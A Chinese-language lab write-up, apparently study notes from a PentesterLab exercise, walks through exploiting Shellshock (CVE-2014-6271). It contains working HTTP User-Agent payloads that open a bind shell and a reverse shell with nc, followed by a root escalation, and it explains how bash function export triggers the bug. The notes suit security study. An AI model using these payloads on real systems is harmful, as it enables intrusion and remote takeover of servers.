参考:https://pentesterlab.com/exercises/cve-2014-6271/course
绑定shell
在本机上操作。为了得到一个交互式shell,先在vulnerable(192.168.170.250)上用nc将/bin/sh绑定(bind)到本地9999端口。
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.170.250 80
然后再在本机上用另一个终端连接到vulnerable的9999端口。得到shell!
➜ ~ nc 192.168.170.250 9999 [17:16:07]
id
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)
pwd
/var/www/cgi-bin
ls
status
sudo -s
id
uid=0(root) gid=0(root) groups=0(root)
绑定shell有一个很大的限制,即在你和vulnerable之间的防火墙会限制你连接到刚才你绑定的端口上。为了绕过这个限制,我们得让服务器主动连接我们。
反弹shell
为了让vulnerable主动连接我们,我们得在本地先绑定一个端口,而且得是一个vulnerable有权限的端口。最常见的就是21 (FTP), 53 (DNS), 123 (NTP), 80 (HTTP) and 443 (HTTPs) 。因为这些端口是保持系统更新并且处理日常操作的。
于是我们用root权限绑定本地的443端口
$ sudo nc -l 192.168.170.1 443
然后就要让vulnerable主动来连接我们
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.170.250 80
然后在之前的shell里面,我们就可以输入命令,我们已经在vulnerable的shell里面了!
➜ ~ sudo nc -l 192.168.170.1 443 [17:31:56]
id
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)
sudo -s
id
uid=0(root) gid=0(root) groups=0(root)
直接在vulnerable上测试。
pentesterlab@vulnerable:~$ export dummy='() { echo "hi";}; echo "pwned"'
pentesterlab@vulnerable:~$ bash
pwned
pentesterlab@vulnerable:~$ id
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)
在bash中,默认情况下父shell的函数是不能被子shell调用的。
而通过export -f fucntion_name
引入函数,这样在子shell中就可以调用父shell的函数了。
➜ ~ bash [19:50:08]
bash-3.2$ cqq(){ echo "this is cqq";} #定义cqq这个函数
bash-3.2$ cqq # 在父shell中调用cqq函数
this is cqq
bash-3.2$ bash # 未引入函数就进入子shell
bash-3.2$ cqq # 在未引入函数的情况下在子shell中调用父shell函数
bash: cqq: command not found # 结果无法调用
bash-3.2$ export -f cqq # 引入cqq函数,以便在子shell中调用
bash-3.2$ bash # 进入子shell
bash-3.2$ cqq # 在子shell中调用cqq函数
this is cqq # 成功调用
bash-3.2$
参考:
http://unix.stackexchange.com/questions/157329/what-does-env-x-command-bash-do-and-why-is-it-insecure
http://askubuntu.com/questions/529511/explanation-of-the-command-to-check-shellshock
shellshock的条件
- 新的子shell产生
- 引入了一个环境变量
- 这个环境变量以”()”开始,并且包含函数体,然后在函数结束之后,还有命令在函数体外面
在这种条件下,一个vulnerable bash将会执行函数体后的命令
Example:
$ export ex='() { echo "this is function ex";}; echo "this is bad";'
$ bash
this is bad
$ ex
this is function ex
说明:这个常规的引入的变量ex
被传到了子shell,并且被解释成了函数ex
。但是!!!!
当子shell产生时,尾随其后的命名却被执行了!!!!!!!!
这篇文章详细说明了与bash相关的背景知识。并且详细解释了shellshock。
http://unix.stackexchange.com/questions/157329/what-does-env-x-command-bash-do-and-why-is-it-insecure?newreg=eced0603b0aa4f879cf5d38786c42fd2